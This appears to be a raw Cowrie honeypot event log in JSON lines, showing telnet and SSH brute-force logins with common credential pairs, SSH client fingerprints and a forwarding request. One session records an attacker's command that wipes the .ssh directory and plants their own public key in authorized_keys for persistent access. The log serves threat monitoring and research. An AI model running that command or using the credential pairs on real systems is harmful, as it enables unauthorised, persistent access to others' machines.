{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59906,"dst_ip":"159.203.135.109","dst_port":23,"session":"6065f5fa429b","protocol":"telnet","message":"New connection: 174.138.46.234:59906 (159.203.135.109:23) [session: 6065f5fa429b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:12.944776Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59936,"dst_ip":"159.203.135.109","dst_port":23,"session":"993b2cc87439","protocol":"telnet","message":"New connection: 174.138.46.234:59936 (159.203.135.109:23) [session: 993b2cc87439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:13.035926Z"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer@123","message":"login attempt [deployer/deployer@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:13.185256Z","src_ip":"155.4.244.179","session":"b3d2b1f9ee3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":54978,"dst_ip":"10.17.0.5","dst_port":22,"session":"327b411e8405","protocol":"ssh","message":"New connection: 185.48.213.208:54978 (10.17.0.5:22) [session: 327b411e8405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:13.305238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:13.310307Z","src_ip":"185.48.213.208","session":"327b411e8405","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:13.430883Z","src_ip":"185.48.213.208","session":"327b411e8405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"admin123","message":"login attempt [es/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:13.942981Z","src_ip":"185.48.213.208","session":"327b411e8405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:14.303398Z","src_ip":"155.4.244.179","session":"b3d2b1f9ee3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:15.065995Z","src_ip":"185.48.213.208","session":"327b411e8405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.971052169799805,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:15.256737Z","src_ip":"174.138.46.234","session":"4d1e6703ab5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.980471134185791,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:17.780249Z","src_ip":"174.138.46.234","session":"0b49cc7673d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.83081579208374,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:17.866480Z","src_ip":"174.138.46.234","session":"993b2cc87439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33254,"dst_ip":"159.203.135.109","dst_port":23,"session":"9341c77ae2d8","protocol":"telnet","message":"New connection: 174.138.46.234:33254 (159.203.135.109:23) [session: 9341c77ae2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:18.222696Z"}
{"eventid":"cowrie.session.closed","duration":5.8949315547943115,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:37:24.117515Z","src_ip":"174.138.46.234","session":"9341c77ae2d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11766,"dst_ip":"10.17.0.5","dst_port":22,"session":"adee155b487d","protocol":"ssh","message":"New connection: 87.251.64.176:11766 (10.17.0.5:22) [session: adee155b487d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:00.407917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:00.413529Z","src_ip":"87.251.64.176","session":"adee155b487d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:00.511967Z","src_ip":"87.251.64.176","session":"adee155b487d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.806814432144165,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:00.751449Z","src_ip":"174.138.46.234","session":"6065f5fa429b","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:00.806858Z","src_ip":"87.251.64.176","session":"adee155b487d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:00.906434Z","session":"adee155b487d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:01.004698Z","src_ip":"87.251.64.176","session":"adee155b487d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:01.104949Z","src_ip":"87.251.64.176","session":"adee155b487d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50602,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb8952ea16f0","protocol":"telnet","message":"New connection: 174.138.46.234:50602 (159.203.135.109:23) [session: fb8952ea16f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:14.536544Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50944,"dst_ip":"159.203.135.109","dst_port":23,"session":"536f64761b60","protocol":"telnet","message":"New connection: 174.138.46.234:50944 (159.203.135.109:23) [session: 536f64761b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:15.468657Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":1937,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5e06ddd511a","protocol":"ssh","message":"New connection: 155.4.244.179:1937 (10.17.0.5:22) [session: a5e06ddd511a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:16.091034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:16.096873Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:16.202335Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"ZAQ!2wsx","message":"login attempt [oracle/ZAQ!2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:17.146639Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:17.405306Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:17.408941Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:17.413210Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:17.919153Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:18.169070Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:18.172634Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50868,"dst_ip":"159.203.135.109","dst_port":23,"session":"eecd34d8acaa","protocol":"telnet","message":"New connection: 174.138.46.234:50868 (159.203.135.109:23) [session: eecd34d8acaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:18.277781Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:18.283418Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:18.287470Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":51281,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3c39fd57264","protocol":"ssh","message":"New connection: 155.4.244.179:51281 (10.17.0.5:22) [session: c3c39fd57264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:18.878154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:19.920952Z","src_ip":"155.4.244.179","session":"c3c39fd57264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:20.022743Z","src_ip":"155.4.244.179","session":"c3c39fd57264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:20.912089Z","src_ip":"155.4.244.179","session":"c3c39fd57264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.118762254714966,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:21.587298Z","src_ip":"174.138.46.234","session":"536f64761b60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:22.020333Z","src_ip":"155.4.244.179","session":"c3c39fd57264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":2956,"dst_ip":"10.17.0.5","dst_port":22,"session":"8351ed673799","protocol":"ssh","message":"New connection: 155.4.244.179:2956 (10.17.0.5:22) [session: 8351ed673799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:22.122631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:22.127573Z","src_ip":"155.4.244.179","session":"8351ed673799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.8631458282470703,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:22.140795Z","src_ip":"174.138.46.234","session":"eecd34d8acaa","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:22.233229Z","src_ip":"155.4.244.179","session":"8351ed673799","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:23.208017Z","src_ip":"155.4.244.179","session":"8351ed673799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:23.319318Z","src_ip":"155.4.244.179","session":"a5e06ddd511a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:38:23.324115Z","src_ip":"155.4.244.179","session":"8351ed673799","protocol":"ssh"}
